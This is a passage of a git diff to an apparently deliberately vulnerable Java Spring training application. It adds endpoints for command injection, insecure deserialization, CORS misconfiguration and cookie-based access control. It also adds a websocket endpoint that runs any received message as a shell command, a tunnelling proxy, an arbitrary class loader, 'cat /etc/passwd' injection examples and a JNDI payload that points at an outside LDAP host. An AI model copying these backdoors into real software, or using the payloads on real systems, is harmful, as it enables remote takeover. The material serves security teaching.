+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.stereotype.Component;
+
+import java.util.ArrayList;
+
+
+/**
+ * Solve can't get value in filter by @Value when not using embed tomcat.
+ *
+ * @author JoyChou @2019-07-24
+ */
+@Component // 注解@Component表明WebConfig类将被SpringIoC容器扫描装配,并且Bean名称为webConfig
+public class WebConfig {
+
+    private static String[] callbacks;
+    private static Boolean jsonpReferCheckEnabled = false;
+    private static String[] jsonpRefererHost;
+    private static String[] referWhitelist;
+    private static String[] referUris;
+    private static Boolean referSecEnabled = false;
+    private static String businessCallback;
+    private static ArrayList<String> safeDomains = new ArrayList<>();
+    private static ArrayList<String> blockDomains = new ArrayList<>();
+    private static ArrayList<String> ssrfSafeDomains = new ArrayList<>();
+    private static ArrayList<String> ssrfBlockDomains = new ArrayList<>();
+    private static ArrayList<String> ssrfBlockIps = new ArrayList<>();
+
+    /**
+     * application.properties里object自动转jsonp的referer校验开关
+     *
+     * @param jsonpReferCheckEnabled jsonp校验开关
+     */
+    @Value("${joychou.security.jsonp.referer.check.enabled}")
+    public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled) {
+        WebConfig.jsonpReferCheckEnabled = jsonpReferCheckEnabled;
+    }
+
+    public static Boolean getJsonpReferCheckEnabled() {
+        return jsonpReferCheckEnabled;
+    }
+
+
+    @Value("${joychou.security.jsonp.callback}")
+    public void setJsonpCallbacks(String[] callbacks) {
+        WebConfig.callbacks = callbacks;
+    }
+
+    public static String[] getJsonpCallbacks() {
+        return callbacks;
+    }
+
+
+    @Value("${joychou.security.referer.enabled}")
+    public void setReferSecEnabled(Boolean referSecEnabled) {
+        WebConfig.referSecEnabled = referSecEnabled;
+    }
+
+    public static Boolean getReferSecEnabled() {
+        return referSecEnabled;
+    }
+
+
+    @Value("${joychou.security.referer.host}")
+    public void setReferWhitelist(String[] referWhitelist) {
+        WebConfig.referWhitelist = referWhitelist;
+    }
+
+    public static String[] getReferWhitelist() {
+        return referWhitelist;
+    }
+
+
+    @Value("${joychou.security.referer.uri}")
+    public void setReferUris(String[] referUris) {
+        WebConfig.referUris = referUris;
+    }
+
+    public static String[] getReferUris() {
+        return referUris;
+    }
+
+
+    @Value("${joychou.business.callback}")
+    public void setBusinessCallback(String businessCallback) {
+        WebConfig.businessCallback = businessCallback;
+    }
+
+    public static String getBusinessCallback() {
+        return businessCallback;
+    }
+
+
+    void setSafeDomains(ArrayList<String> safeDomains) {
+        WebConfig.safeDomains = safeDomains;
+    }
+
+    public static ArrayList<String> getSafeDomains() {
+        return safeDomains;
+    }
+
+
+    void setBlockDomains(ArrayList<String> blockDomains) {
+        WebConfig.blockDomains = blockDomains;
+    }
+
+    public static ArrayList<String> getBlockDomains() {
+        return blockDomains;
+    }
+
+
+    void setSsrfSafeDomains(ArrayList<String> ssrfSafeDomains) {
+        WebConfig.ssrfSafeDomains = ssrfSafeDomains;
+    }
+
+    public static ArrayList<String> getSsrfSafeDomains() {
+        return ssrfSafeDomains;
+    }
+
+
+    void setSsrfBlockDomains(ArrayList<String> ssrfBlockDomains) {
+        WebConfig.ssrfBlockDomains = ssrfBlockDomains;
+    }
+
+    public static ArrayList<String> getSsrfBlockDomainsDomains() {
+        return ssrfBlockDomains;
+    }
+
+
+    void setSsrfBlockIps(ArrayList<String> ssrfBlockIps) {
+        WebConfig.ssrfBlockIps = ssrfBlockIps;
+    }
+
+    public static ArrayList<String> getSsrfBlockIps() {
+        return ssrfBlockIps;
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java
new file mode 100644
index 00000000..ae4a0f1a
--- /dev/null
+++ b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java
@@ -0,0 +1,46 @@
+package org.joychou.config;
+
+import javax.websocket.*;
+import java.io.InputStream;
+
+public class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole<String> {
+    private Session session;
+
+    @Override
+    public void onOpen(Session session, EndpointConfig endpointConfig) {
+        this.session = session;
+        session.addMessageHandler(this);
+    }
+
+    @Override
+    public void onClose(Session session, CloseReason closeReason) {
+        super.onClose(session, closeReason);
+    }
+
+    @Override
+    public void onError(Session session, Throwable throwable) {
+        super.onError(session, throwable);
+    }
+
+    @Override
+    public void onMessage(String s) {
+        try {
+            Process process;
+            boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
+            if (bool) {
+                process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
+            } else {
+                process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
+            }
+            InputStream inputStream = process.getInputStream();
+            StringBuilder stringBuilder = new StringBuilder();
+            int i;
+            while ((i = inputStream.read()) != -1) stringBuilder.append((char) i);
+            inputStream.close();
+            process.waitFor();
+            session.getBasicRemote().sendText(stringBuilder.toString());
+        } catch (Exception exception) {
+            exception.printStackTrace();
+        }
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java
new file mode 100644
index 00000000..4c1f7710
--- /dev/null
+++ b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java
@@ -0,0 +1,111 @@
+package org.joychou.config;
+
+import javax.websocket.Endpoint;
+import javax.websocket.EndpointConfig;
+import javax.websocket.MessageHandler;
+import javax.websocket.Session;
+import java.io.ByteArrayOutputStream;
+import java.net.InetSocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.AsynchronousSocketChannel;
+import java.nio.channels.CompletionHandler;
+import java.util.HashMap;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+
+public class WebSocketsProxyEndpoint extends Endpoint {
+    long i = 0;
+    ByteArrayOutputStream baos = new ByteArrayOutputStream();
+    HashMap<String, AsynchronousSocketChannel> map = new HashMap<String, AsynchronousSocketChannel>();
+
+    static class Attach {
+        public AsynchronousSocketChannel client;
+        public Session channel;
+    }
+
+    void readFromServer(Session channel, AsynchronousSocketChannel client) {
+        final ByteBuffer buffer = ByteBuffer.allocate(50000);
+        Attach attach = new Attach();
+        attach.client = client;
+        attach.channel = channel;
+        client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
+            @Override
+            public void completed(Integer result, final Attach scAttachment) {
+                buffer.clear();
+                try {
+                    if (buffer.hasRemaining() && result >= 0) {
+                        byte[] arr = new byte[result];
+                        ByteBuffer b = buffer.get(arr, 0, result);
+                        baos.write(arr, 0, result);
+                        ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
+                        if (scAttachment.channel.isOpen()) {
+                            scAttachment.channel.getBasicRemote().sendBinary(q);
+                        }
+                        baos = new ByteArrayOutputStream();
+                        readFromServer(scAttachment.channel, scAttachment.client);
+                    } else {
+                        if (result > 0) {
+                            byte[] arr = new byte[result];
+                            ByteBuffer b = buffer.get(arr, 0, result);
+                            baos.write(arr, 0, result);
+                            readFromServer(scAttachment.channel, scAttachment.client);
+                        }
+                    }
+                } catch (Exception ignored) {
+                }
+            }
+
+            @Override
+            public void failed(Throwable t, Attach scAttachment) {
+                t.printStackTrace();
+            }
+        });
+    }
+
+    void process(ByteBuffer z, Session channel) {
+        try {
+            if (i > 1) {
+                AsynchronousSocketChannel client = map.get(channel.getId());
+                client.write(z).get();
+                z.flip();
+                z.clear();
+            } else if (i == 1) {
+                String values = new String(z.array());
+                String[] array = values.split(" ");
+                String[] addrarray = array[1].split(":");
+                AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
+                int po = Integer.parseInt(addrarray[1]);
+                InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
+                Future<Void> future = client.connect(hostAddress);
+                try {
+                    future.get(10, TimeUnit.SECONDS);
+                } catch (Exception ignored) {
+                    channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
+                    return;
+                }
+                map.put(channel.getId(), client);
+                readFromServer(channel, client);
+                channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    @Override
+    public void onOpen(final Session session, EndpointConfig config) {
+        i = 0;
+        session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20);
+        session.setMaxTextMessageBufferSize(1024 * 1024 * 20);
+        session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
+            @Override
+            public void onMessage(ByteBuffer message) {
+                try {
+                    message.clear();
+                    i++;
+                    process(message, session);
+                } catch (Exception ignored) {
+                }
+            }
+        });
+    }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java
deleted file mode 100644
index 65e703fd..00000000
--- a/src/main/java/org/joychou/controller/CORS.java
+++ /dev/null
@@ -1,74 +0,0 @@
-package org.joychou.controller;
-
-import org.joychou.utils.Security;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.CrossOrigin;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-
-/**
- * @author: JoyChou
- * @date:   2018年10月24日
- * @desc:   只要Access-Control-Allow-Origin为*,或者可被绕过,就存在CORS跨域
- */
-
-@Controller
-@RequestMapping("/cors")
-public class CORS {
-
-    protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
-    protected static String[] urlwhitelist = {"joychou.com", "joychou.me"};
-
-    /**
-     *
-     * @param request
-     * @param response
-     * @desc: 当origin为空,即直接访问的情况下,response的header中不会出现Access-Control-Allow-Origin
-     */
-    @RequestMapping("/vuls1")
-    @ResponseBody
-    private static String vuls1(HttpServletRequest request, HttpServletResponse response) {
-        // 获取Header中的Origin
-        String origin = request.getHeader("origin");
-
-        response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
-        // response.setHeader("Access-Control-Allow-Methods", "POST, GET");
-        // response.setHeader("Access-Control-Allow-Credentials", "true");  // cookie
-        return info;
-    }
-
-    @RequestMapping("/vuls2")
-    @ResponseBody
-    private static String vuls2(HttpServletResponse response) {
-        response.setHeader("Access-Control-Allow-Origin", "*");
-        // response.setHeader("Access-Control-Allow-Methods", "POST, GET");
-        // response.setHeader("Access-Control-Allow-Credentials", "true");
-        return info;
-    }
-
-    @CrossOrigin("*")
-    @RequestMapping("/vuls3")
-    @ResponseBody
-    private static String vuls3(HttpServletResponse response) {
-        return info;
-    }
-
-    @RequestMapping("/sec")
-    @ResponseBody
-    private static String seccode(HttpServletRequest request, HttpServletResponse response) {
-        String origin = request.getHeader("Origin");
-        Security sec = new Security();
-        if (!sec.checkSafeUrl(origin, urlwhitelist)) {
-            return "Origin is not safe.";
-        }
-        response.setHeader("Access-Control-Allow-Origin", "*");
-        // response.setHeader("Access-Control-Allow-Methods", "POST, GET");
-        // response.setHeader("Access-Control-Allow-Credentials", "true");
-        return info;
-    }
-
-
-}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java
index 01668290..b0b0e9f2 100644
--- a/src/main/java/org/joychou/controller/CRLFInjection.java
+++ b/src/main/java/org/joychou/controller/CRLFInjection.java
@@ -9,18 +9,17 @@
 import javax.servlet.http.HttpServletResponse;
 
 /**
- * @author: JoyChou (joychou@joychou.org)
- * @date:   2018.01.03
- * @desc:   Java 1.7/1.8没有CRLF漏洞 (test in Java 1.7/1.8)
+ * Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8)
+ *
+ * @author JoyChou (joychou@joychou.org) @2018-01-03
  */
-
 @Controller
 @RequestMapping("/crlf")
 public class CRLFInjection {
 
     @RequestMapping("/safecode")
     @ResponseBody
-    private static void crlf(HttpServletRequest request, HttpServletResponse response) {
+    public void crlf(HttpServletRequest request, HttpServletResponse response) {
         response.addHeader("test1", request.getParameter("test1"));
         response.setHeader("test2", request.getParameter("test2"));
         String author = request.getParameter("test3");
diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java
new file mode 100644
index 00000000..21147270
--- /dev/null
+++ b/src/main/java/org/joychou/controller/CSRF.java
@@ -0,0 +1,29 @@
+package org.joychou.controller;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+/**
+ * check csrf using spring-security
+ * Access http://localhost:8080/csrf/ -> click submit
+ *
+ * @author JoyChou (joychou@joychou.org) @2019-05-31
+ */
+@Controller
+@RequestMapping("/csrf")
+public class CSRF {
+
+    @GetMapping("/")
+    public String index() {
+        return "form";
+    }
+
+    @PostMapping("/post")
+    @ResponseBody
+    public String post() {
+        return "CSRF passed.";
+    }
+}
diff --git a/src/main/java/org/joychou/controller/ClassDataLoader.java b/src/main/java/org/joychou/controller/ClassDataLoader.java
new file mode 100644
index 00000000..acd4ff3f
--- /dev/null
+++ b/src/main/java/org/joychou/controller/ClassDataLoader.java
@@ -0,0 +1,31 @@
+package org.joychou.controller;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+
+import javax.servlet.http.HttpServletRequest;
+
+public class ClassDataLoader {
+
+    protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    @RequestMapping("/classloader")
+    public void classData() {
+        try{
+            ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
+            HttpServletRequest request = sra.getRequest();
+            String classData = request.getParameter("classData");
+
+            byte[] classBytes = java.util.Base64.getDecoder().decode(classData);
+            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
+            defineClassMethod.setAccessible(true);
+            Class cc = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), null, classBytes, 0, classBytes.length);
+            cc.newInstance();
+        }catch(Exception e){
+            logger.error(e.toString());
+        }
+    }
+}
diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java
new file mode 100644
index 00000000..a1a99035
--- /dev/null
+++ b/src/main/java/org/joychou/controller/CommandInject.java
@@ -0,0 +1,63 @@
+package org.joychou.controller;
+
+import org.joychou.security.SecurityUtil;
+import org.joychou.util.WebUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+import java.io.IOException;
+
+@RestController
+public class CommandInject {
+
+    protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    /**
+     * http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd
+     *
+     * @param filepath filepath
+     * @return result
+     */
+    @GetMapping("/codeinject")
+    public String codeInject(String filepath) throws IOException {
+
+        String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
+        ProcessBuilder builder = new ProcessBuilder(cmdList);
+        builder.redirectErrorStream(true);
+        Process process = builder.start();
+        return WebUtils.convertStreamToString(process.getInputStream());
+    }
+
+    /**
+     * Host Injection
+     * Host: hacked by joychou;cat /etc/passwd
+     * http://localhost:8080/codeinject/host
+     */
+    @GetMapping("/codeinject/host")
+    public String codeInjectHost(HttpServletRequest request) throws IOException {
+
+        String host = request.getHeader("host");
+        logger.info(host);
+        String[] cmdList = new String[]{"sh", "-c", "curl " + host};
+        ProcessBuilder builder = new ProcessBuilder(cmdList);
+        builder.redirectErrorStream(true);
+        Process process = builder.start();
+        return WebUtils.convertStreamToString(process.getInputStream());
+    }
+
+    @GetMapping("/codeinject/sec")
+    public String codeInjectSec(String filepath) throws IOException {
+        String filterFilePath = SecurityUtil.cmdFilter(filepath);
+        if (null == filterFilePath) {
+            return "Bad boy. I got u.";
+        }
+        String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};
+        ProcessBuilder builder = new ProcessBuilder(cmdList);
+        builder.redirectErrorStream(true);
+        Process process = builder.start();
+        return WebUtils.convertStreamToString(process.getInputStream());
+    }
+}
diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java
new file mode 100644
index 00000000..6f0c7be2
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Cookies.java
@@ -0,0 +1,87 @@
+package org.joychou.controller;
+
+import org.springframework.web.bind.annotation.CookieValue;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.RestController;
+
+import static org.springframework.web.util.WebUtils.getCookie;
+
+
+/**
+ * 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id,导致越权问题。
+ */
+@RestController
+@RequestMapping("/cookie")
+public class Cookies {
+
+    private static String NICK = "nick";
+
+    @GetMapping(value = "/vuln01")
+    public String vuln01(HttpServletRequest req) {
+        String nick = WebUtils.getCookieValueByName(req, NICK); // key code
+        return "Cookie nick: " + nick;
+    }
+
+
+    @GetMapping(value = "/vuln02")
+    public String vuln02(HttpServletRequest req) {
+        String nick = null;
+        Cookie[] cookie = req.getCookies();
+
+        if (cookie != null) {
+            nick = getCookie(req, NICK).getValue();  // key code
+        }
+
+        return "Cookie nick: " + nick;
+    }
+
+
+    @GetMapping(value = "/vuln03")
+    public String vuln03(HttpServletRequest req) {
+        String nick = null;
+        Cookie cookies[] = req.getCookies();
+        if (cookies != null) {
+            for (Cookie cookie : cookies) {
+                // key code. Equals can also be equalsIgnoreCase.
+                if (NICK.equals(cookie.getName())) {
+                    nick = cookie.getValue();
+                }
+            }
+        }
+        return "Cookie nick: " + nick;
+    }
+
+
+    @GetMapping(value = "/vuln04")
+    public String vuln04(HttpServletRequest req) {
+        String nick = null;
+        Cookie cookies[] = req.getCookies();
+        if (cookies != null) {
+            for (Cookie cookie : cookies) {
+                if (cookie.getName().equalsIgnoreCase(NICK)) {  // key code
+                    nick = cookie.getValue();
+                }
+            }
+        }
+        return "Cookie nick: " + nick;
+    }
+
+
+    @GetMapping(value = "/vuln05")
+    public String vuln05(@CookieValue("nick") String nick) {
+        return "Cookie nick: " + nick;
+    }
+
+
+    @GetMapping(value = "/vuln06")
+    public String vuln06(@CookieValue(value = "nick") String nick) {
+        return "Cookie nick: " + nick;
+    }
+
+}
diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java
new file mode 100644
index 00000000..5b7d9741
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Cors.java
@@ -0,0 +1,119 @@
+package org.joychou.controller;
+
+import org.joychou.security.SecurityUtil;
+import org.joychou.util.LoginUtils;
+import org.springframework.security.web.csrf.CsrfToken;
+import org.springframework.web.bind.annotation.CrossOrigin;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+/**
+ * @author JoyChou (joychou@joychou.org) @2018.10.24
+ * https://github.com/JoyChou93/java-sec-code/wiki/CORS
+ */
+
+@RestController
+@RequestMapping("/cors")
+public class Cors {
+
+    private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
+
+    @GetMapping("/vuln/origin")
+    public String vuls1(HttpServletRequest request, HttpServletResponse response) {
+        String origin = request.getHeader("origin");
+        response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
+        response.setHeader("Access-Control-Allow-Credentials", "true");  // allow cookie
+        return info;
+    }
+
+    @GetMapping("/vuln/setHeader")
+    public String vuls2(HttpServletResponse response) {
+        // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常
+        response.setHeader("Access-Control-Allow-Origin", "*");
+        return info;
+    }
+
+
+    @GetMapping("*")
+    @RequestMapping("/vuln/crossOrigin")
+    public String vuls3() {
+        return info;
+    }
+
+
+    /**
+     * 重写Cors的checkOrigin校验方法
+     * 支持自定义checkOrigin,让其额外支持一级域名
+     * 代码:org/joychou/security/CustomCorsProcessor
+     */
+    @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})
+    @GetMapping("/sec/crossOrigin")
+    public String secCrossOrigin() {
+        return info;
+    }
+
+
+    /**
+     * WebMvcConfigurer设置Cors
+     * 支持自定义checkOrigin
+     * 代码:org/joychou/config/CorsConfig.java
+     */
+    @GetMapping("/sec/webMvcConfigurer")
+    public CsrfToken getCsrfToken_01(CsrfToken token) {
+        return token;
+    }
+
+
+    /**
+     * spring security设置cors
+     * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行
+     * 代码:org/joychou/security/WebSecurityConfig.java
+     */
+    @GetMapping("/sec/httpCors")
+    public CsrfToken getCsrfToken_02(CsrfToken token) {
+        return token;
+    }
+
+
+    /**
+     * 自定义filter设置cors
+     * 支持自定义checkOrigin
+     * 代码:org/joychou/filter/OriginFilter.java
+     */
+    @GetMapping("/sec/originFilter")
+    public CsrfToken getCsrfToken_03(CsrfToken token) {
+        return token;
+    }
+
+
+    /**
+     * CorsFilter设置cors。
+     * 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行
+     * 代码:org/joychou/filter/BaseCorsFilter.java
+     */
+    @RequestMapping("/sec/corsFilter")
+    public CsrfToken getCsrfToken_04(CsrfToken token) {
+        return token;
+    }
+
+
+    @GetMapping("/sec/checkOrigin")
+    public String seccode(HttpServletRequest request, HttpServletResponse response) {
+        String origin = request.getHeader("Origin");
+
+        // 如果origin不为空并且origin不在白名单内,认定为不安全。
+        // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
+        if (origin != null && SecurityUtil.checkURL(origin) == null) {
+            return "Origin is not safe.";
+        }
+        response.setHeader("Access-Control-Allow-Origin", origin);
+        response.setHeader("Access-Control-Allow-Credentials", "true");
+        return LoginUtils.getUserInfo2JsonStr(request);
+    }
+
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java
index 14ac5bd9..55c82ab2 100644
--- a/src/main/java/org/joychou/controller/Deserialize.java
+++ b/src/main/java/org/joychou/controller/Deserialize.java
@@ -1,35 +1,100 @@
 package org.joychou.controller;
 
-
-import org.springframework.stereotype.Controller;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import org.joychou.config.Constants;
+import org.joychou.security.AntObjectInputStream;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
 
+import javax.servlet.http.Cookie;
 import javax.servlet.http.HttpServletRequest;
-import java.io.InputStream;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InvalidClassException;
 import java.io.ObjectInputStream;
+import java.util.Base64;
+
+import static org.springframework.web.util.WebUtils.getCookie;
 
 /**
- * @author: JoyChou
- * @Date:   2018年06月14日
- * @Desc:  该应用必须有Commons-Collections包才能利用反序列化命令执行。
+ * Deserialize RCE using Commons-Collections gadget.
+ *
+ * @author JoyChou @2018-06-14
  */
-
-@Controller
+@RestController
 @RequestMapping("/deserialize")
 public class Deserialize {
 
-    @RequestMapping("/test")
-    @ResponseBody
-    public static String deserialize_test(HttpServletRequest request) throws Exception{
+    protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+    /**
+     * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 <br>
+     * <a href="http://localhost:8080/deserialize/rememberMe/vuln">http://localhost:8080/deserialize/rememberMe/vuln</a>
+     */
+    @RequestMapping("/rememberMe/vuln")
+    public String rememberMeVul(HttpServletRequest request)
+            throws IOException, ClassNotFoundException {
+
+        Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
+        if (null == cookie) {
+            return "No rememberMe cookie. Right?";
+        }
+
+        String rememberMe = cookie.getValue();
+        byte[] decoded = Base64.getDecoder().decode(rememberMe);
+
+        ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
+        ObjectInputStream in = new ObjectInputStream(bytes);
+        in.readObject();
+        in.close();
+
+        return "Are u ok?";
+    }
+
+    /**
+     * Check deserialize class using black list. <br>
+     * Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.<br>
+     * <a href="http://localhost:8080/deserialize/rememberMe/security">http://localhost:8080/deserialize/rememberMe/security</a>
+     */
+    @RequestMapping("/rememberMe/security")
+    public String rememberMeBlackClassCheck(HttpServletRequest request)
+            throws IOException, ClassNotFoundException {
+
+        Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
+
+        if (null == cookie) {
+            return "No rememberMe cookie. Right?";
+        }
+        String rememberMe = cookie.getValue();
+        byte[] decoded = Base64.getDecoder().decode(rememberMe);
+
+        ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
+
         try {
-            InputStream iii = request.getInputStream();
-            ObjectInputStream in = new ObjectInputStream(iii);
-            in.readObject();  // 触发漏洞
+            AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException
+            in.readObject();
             in.close();
-            return "test";
-        }catch (Exception e){
-            return "exception";
+        } catch (InvalidClassException e) {
+            logger.info(e.toString());
+            return e.toString();
         }
+
+        return "I'm very OK.";
     }
+
+    // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]";
+    @RequestMapping("/jackson")
+    public void Jackson(String payload) {
+        ObjectMapper mapper = new ObjectMapper();
+        mapper.enableDefaultTyping();
+        try {
+            Object obj = mapper.readValue(payload, Object.class);
+            mapper.writeValueAsString(obj);
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
 }
diff --git a/src/main/java/org/joychou/controller/Dotall.java b/src/main/java/org/joychou/controller/Dotall.java
new file mode 100644
index 00000000..f6746354
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Dotall.java
@@ -0,0 +1,31 @@
+package org.joychou.controller;
+
+
+
+import java.net.URLDecoder;
+import java.nio.charset.StandardCharsets;
+import java.util.regex.Pattern;
+
+
+/**
+ * Spring Security CVE-2022-22978 <p>
+ * <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-22978">漏洞相关wiki</a>
+ * @author JoyChou @2023-01-212
+ */
+
+public class Dotall {
+
+
+    /**
+     * <a href="https://github.com/spring-projects/spring-security/compare/5.5.6..5.5.7">官方spring-security修复commit记录</a>
+     */
+    public static void main(String[] args) throws Exception{
+        Pattern vuln_pattern = Pattern.compile("/black_path.*");
+        Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL);
+
+        String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString());
+        System.out.println("Poc: " + poc);
+        System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches());    // false,非dotall无法匹配\r\n
+        System.out.println("Dotall: " + sec_pattern.matcher(poc).matches());         // true,dotall可以匹配\r\n
+    }
+}
diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java
index 8359a1bc..37c4ec18 100644
--- a/src/main/java/org/joychou/controller/Fastjson.java
+++ b/src/main/java/org/joychou/controller/Fastjson.java
@@ -2,6 +2,7 @@
 
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
+import com.alibaba.fastjson.parser.Feature;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestBody;
 import org.springframework.web.bind.annotation.RequestMapping;
@@ -9,29 +10,26 @@
 import org.springframework.web.bind.annotation.ResponseBody;
 
 
-
 @Controller
 @RequestMapping("/fastjson")
 public class Fastjson {
 
-    @RequestMapping(value = "deserialize", method = {RequestMethod.POST })
+    @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
     @ResponseBody
-    public static String Deserialize(@RequestBody String params) {
+    public String Deserialize(@RequestBody String params) {
         // 如果Content-Type不设置application/json格式,post数据会被url编码
-        System.out.println(params);
         try {
             // 将post提交的string转换为json
             JSONObject ob = JSON.parseObject(params);
             return ob.get("name").toString();
-        }catch (Exception e){
-            e.printStackTrace();
+        } catch (Exception e) {
             return e.toString();
         }
     }
 
-    public static void main(String[] args){
-        String str = "{\"name\": \"fastjson\"}";
-        JSONObject jo = JSON.parseObject(str);
-        System.out.println(jo.get("name"));  // fastjson
+    public static void main(String[] args) {
+        // Open calc in mac
